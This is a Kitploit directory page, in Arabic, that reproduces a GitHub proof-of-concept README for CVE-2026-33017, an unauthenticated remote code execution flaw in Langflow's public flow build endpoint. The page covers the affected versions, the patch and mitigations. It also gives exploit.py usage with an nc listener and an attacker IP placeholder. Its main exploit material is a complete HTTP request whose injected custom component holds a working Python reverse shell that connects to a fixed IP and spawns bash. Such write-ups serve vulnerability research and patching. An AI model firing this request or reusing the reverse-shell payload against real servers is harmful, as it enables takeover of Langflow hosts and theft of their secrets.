Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33017 — Langflow RCE | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-33017
ماسحات الثغرات الأمنيةتحليل الكودالاستغلالأمن الويبالأوراق والأبحاثالتعلم والتعليم
GitHubeqstlab/cve-2026-33017

CVE-2026-33017

Langflow RCE

عرض المستودع
6479منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33017: ثغرة تنفيذ تعليمات برمجية عن بُعد في Langflow

★ إثبات المفهوم (PoC) لثغرة CVE-2026-33017: تنفيذ تعليمات برمجية عن بُعد في Langflow ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


إعداد البيئة

استخدم الأوامر التالية لإنشاء وتشغيل بيئة Langflow القابلة للاستغلال:

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

كيفية استخدام إثبات المفهوم (PoC)

بعد تشغيل مثيل Langflow القابل للاستغلال، شغّل إثبات المفهوم مع عنوان URL للهدف ومعرّف التدفق العام وعنوان استدعاء المهاجم.

الخيار أ — استخدم مستمعك الخاص:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

الخيار ب — استخدم المستمع المدمج عبر --listen:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
الخيارالوصف
--urlعنوان خادم Langflow الهدف
--flow-idالمعرّف الفريد (UUID) للتدفق العام المشترك
--lhostعنوان IP لاستدعاء المهاجم
--lportمنفذ استدعاء المهاجم
--listenتشغيل المستمع المدمج بدلاً من nc خارجي

ENG

تُعد CVE-2026-33017 ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في عملية بناء التدفق العام (Public flow) في Langflow، وهي منصة مفتوحة المصدر لبناء تطبيقات نماذج اللغات الكبيرة (LLM) وسير عمل الذكاء الاصطناعي بشكل مرئي.
من خلال إرسال بيانات تدفق مُصمَّمة بعناية إلى نقطة النهاية build_public_tmp دون مصادقة، يمكن للمهاجم التسبب في تنفيذ كود Python عشوائي على الخادم.


نظرة عامة

تؤثر CVE-2026-33017 على نقطة النهاية التالية لبناء التدفق العام في Langflow، وهي منصة مفتوحة المصدر لإنشاء تطبيقات نماذج اللغات الكبيرة (LLM) وسير عمل الذكاء الاصطناعي بشكل مرئي.

POST /api/v1/build_public_tmp/{flow_id}/flow

يُصمَّم التدفق العام (Public flow) في Langflow لمشاركته مع مستخدمين آخرين عبر رابط أو آلية مشابهة.
لدعم هذه الميزة، تُجهّز نقطة نهاية البناء التدفق للتنفيذ دون الحاجة إلى مصادقة، وذلك بقراءة عُقد التدفق وحوافه وإعداداته، ثم إنشاء الرسم البياني الداخلي للتنفيذ اللازم لتشغيله.

كانت المشكلة أن الإصدارات القابلة للاستغلال من build_public_tmp لم تكن تقبل معلومات التدفق العام المخزنة على الخادم فحسب، بل كانت تقبل أيضًا حقل data المقدَّم في نص الطلب (request body).

يمكن أن يحتوي حقل data هذا على تعريف التدفق بالكامل، بما في ذلك:

  • قائمة العُقد
  • الاتصالات بين العُقد
  • قيم الإعدادات التفصيلية لكل عقدة
  • القوالب وبيانات المكوّنات المخصصة المطلوبة للتنفيذ

ونتيجةً لذلك، يمكن للمهاجم استخدام طلب غير مصادَق لحقن بنية تدفق خاضعة بالكامل لسيطرته، بدلاً من الاعتماد على التدفق العام الشرعي المخزّن على الخادم.

من الأجزاء الخطيرة بشكل خاص في هذا التصميم ميزة المكوّن المخصص (Custom Component).
في Langflow، يمثل المكوّن كتلة وظيفية فردية مسؤولة عن مهام مثل معالجة الإدخال أو استدعاء النموذج أو توليد المخرجات. أما المكوّن المخصص فهو كتلة قابلة للتوسيع تتيح للمستخدمين تعريف سلوكها مباشرةً في كود Python.

وبالتالي، يمكن للمهاجم تضمين مكوّن مخصص يحتوي على كود Python خبيث داخل كائن data المُصمَّم، وسيعالجه الخادم كما لو كان جزءًا طبيعيًا من التدفق. ونتيجةً لذلك، يمكن تحليل الكود المُحقَن وتنفيذه أثناء عملية البناء أو التنفيذ، مما يؤدي في النهاية إلى تنفيذ تعليمات برمجية عن بُعد.


الإصدارات المتأثرة

الفئةالإصدار
قابل للاستغلالLangflow قبل 1.9.0
تم التصحيحLangflow 1.9.0 والإصدارات الأحدث

يُدرج إشعار أمان GitHub (GitHub Security Advisory) النطاق المتأثر على أنه <= 1.8.2، لكن الإصلاح — إزالة معامل data — وصل في 1.9.0. وبالتالي، فإن جميع الإصدارات قبل 1.9.0 (بما في ذلك 1.8.3 / 1.8.4) متأثرة، ولهذا ينص سجل CVE على < 1.9.0.


الأثر

قد يسمح الاستغلال الناجح لهذه الثغرة للمهاجم بالسيطرة على خادم Langflow والقيام بإجراءات لاحقة مثل:

  • الحصول على شل (shell) على الخادم
  • تسريب متغيرات البيئة أو معلومات حساسة أخرى
  • تثبيت تعليمات برمجية خبيثة إضافية وترسيخ البقاء (persistence) في النظام

إثبات المفهوم (PoC)

يُظهر إثبات المفهوم التالي CVE-2026-33017 على Langflow 1.8.1.

1) تحديد معرّف التدفق العام

يحدد المهاجم أولاً flow_id للتدفق العام المستهدف.

تحديد معرّف التدفق العام

2) إرسال طلب بناء بمكوّن مخصص خبيث

يرسل المهاجم طلب build_public_tmp يحقن مكوّنًا مخصصًا يُنفَّذ كود Python الخاص به على الخادم أثناء البناء المؤقت. في الطلب أدناه، تُركت قيمة code كعنصر نائب (placeholder) — أدخل الحمولة بنفسك (انظر الملاحظة أسفل الطلب).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) الحصول على شل

أثناء عملية البناء، يُنفَّذ الكود المضمَّن في المكوّن المخصص على الخادم. عند استخدام نموذج القشرة العكسية (reverse shell) الذي تؤتمته exploit.py، يتم إنشاء اتصال عكسي بمستمع المهاجم، مما يمنح المهاجم شلًا تفاعليًا لتنفيذ أوامر عشوائية على الخادم.

الحصول على شل


التحليل الفني

على الرغم من أن build_public_tmp صُمم لبناء التدفقات العامة، فإن الإصدارات القابلة للاستغلال كانت ما تزال تقبل حقل data مباشرةً من نص الطلب.

بسبب هذا التصميم، كان يتم تمرير data المقدَّم من المهاجم مباشرةً إلى منطق البناء على الخادم، وكان يتم التعامل مع أي كود Python مضمَّن في مكوّن مخصص كما لو كان جزءًا من تدفق شرعي.

ونتيجةً لذلك، لم يكن المهاجم بحاجة إلى الاعتماد على التدفق العام الأصلي المخزّن على الخادم. بل كان بإمكانه حقن تعريف تدفق خبيث بالكامل من تصميمه، بما في ذلك كود يمكن تنفيذه على الخادم.

بعد التصحيح، لم يعد build_public_tmp يقبل data المقدَّم خارجيًا.
بعبارة أخرى، أُزيل المسار الذي كان يسمح للمهاجمين سابقًا بحقن تعريف تدفق كامل عبر نص الطلب، مما منع أيضًا تنفيذ التعليمات البرمجية العشوائية عبر المكوّنات المخصصة الخبيثة.

فرق التصحيح


التخفيف

  • التحديث إلى Langflow 1.9.0 أو أحدث
  • إزالة التعرض غير الضروري للتدفقات العامة
  • تقييد الوصول الخارجي المباشر إلى مثيلات Langflow

المراجع

تنزيل الأداة